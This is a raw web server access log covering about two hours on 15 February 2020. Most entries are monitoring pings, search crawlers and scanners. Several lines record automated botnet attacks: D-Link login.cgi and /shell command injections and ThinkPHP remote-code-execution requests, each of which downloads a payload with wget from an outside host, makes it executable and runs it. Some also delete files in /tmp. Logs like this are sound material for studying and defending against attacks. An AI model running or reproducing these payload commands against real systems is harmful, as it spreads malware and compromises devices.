200.55.53.17 - - [15/Feb/2020:06:27:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
46.109.154.100 - - [15/Feb/2020:06:27:24 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.109.154.100 - - [15/Feb/2020:06:28:47 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.109.154.100 - - [15/Feb/2020:06:28:50 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.109.154.100 - - [15/Feb/2020:06:29:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.109.154.100 - - [15/Feb/2020:06:30:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.109.154.100 - - [15/Feb/2020:06:33:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.109.154.100 - - [15/Feb/2020:06:34:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
109.92.26.149 - - [15/Feb/2020:06:35:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
79.35.228.234 - - [15/Feb/2020:06:36:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
87.126.120.215 - - [15/Feb/2020:06:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.47.219.116 - - [15/Feb/2020:06:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
1.165.175.166 - - [15/Feb/2020:06:43:31 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
179.96.17.102 - - [15/Feb/2020:06:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
93.42.110.44 - - [15/Feb/2020:06:46:48 +0100] "{D79E94C5-70F0" 501 329 "-" "-"
199.19.225.173 - - [15/Feb/2020:06:46:49 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
36.229.77.191 - - [15/Feb/2020:06:49:40 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
66.249.79.103 - - [15/Feb/2020:06:54:29 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.79.99 - - [15/Feb/2020:06:54:29 +0100] "GET /seiten/fsw.htm HTTP/1.1" 404 332 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
118.69.34.216 - - [15/Feb/2020:06:58:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
90.154.122.85 - - [15/Feb/2020:07:00:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:07:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.242.29.64 - - [15/Feb/2020:07:05:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:07:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [15/Feb/2020:07:05:48 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:07:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.119.94.18 - - [15/Feb/2020:07:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:07:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
65.99.152.25 - - [15/Feb/2020:07:17:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:07:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.99.231.76 - - [15/Feb/2020:07:19:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:07:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.33 - - [15/Feb/2020:07:20:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [15/Feb/2020:07:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [15/Feb/2020:07:20:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.106.181 - - [15/Feb/2020:07:21:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
193.57.40.38 - - [15/Feb/2020:07:21:10 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:07:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.94.113.189 - - [15/Feb/2020:07:24:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
223.197.136.59 - - [15/Feb/2020:07:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [15/Feb/2020:07:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.1 - - [15/Feb/2020:07:28:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [15/Feb/2020:07:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.78.236.160 - - [15/Feb/2020:07:37:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:07:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [15/Feb/2020:07:38:34 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:07:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [15/Feb/2020:07:38:41 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
190.124.162.73 - - [15/Feb/2020:07:38:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:07:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.115.49.140 - - [15/Feb/2020:07:42:31 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [15/Feb/2020:07:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.180 - - [15/Feb/2020:07:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.180 - - [15/Feb/2020:07:46:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
31.44.176.6 - - [15/Feb/2020:07:47:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [15/Feb/2020:07:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.180 - - [15/Feb/2020:07:48:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.180 - - [15/Feb/2020:07:49:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [15/Feb/2020:07:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.180 - - [15/Feb/2020:07:51:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.180 - - [15/Feb/2020:07:51:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [15/Feb/2020:07:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.236.101.194 - - [15/Feb/2020:07:53:17 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal.de/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.4.2661.102 Safari/537.36; 360Spider"
212.91.246.72 - - [15/Feb/2020:07:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:07:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.60.123.74 - - [15/Feb/2020:07:59:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:07:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.235.194.37 - - [15/Feb/2020:08:05:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [15/Feb/2020:08:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.123.233.188 - - [15/Feb/2020:08:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:08:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.167.153.46 - - [15/Feb/2020:08:10:57 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [15/Feb/2020:08:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.50.41.146 - - [15/Feb/2020:08:19:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [15/Feb/2020:08:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [15/Feb/2020:08:22:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [15/Feb/2020:08:22:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [15/Feb/2020:08:23:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [15/Feb/2020:08:23:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [15/Feb/2020:08:23:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:08:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.90 - - [15/Feb/2020:08:26:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:08:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.123.233.87 - - [15/Feb/2020:08:30:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
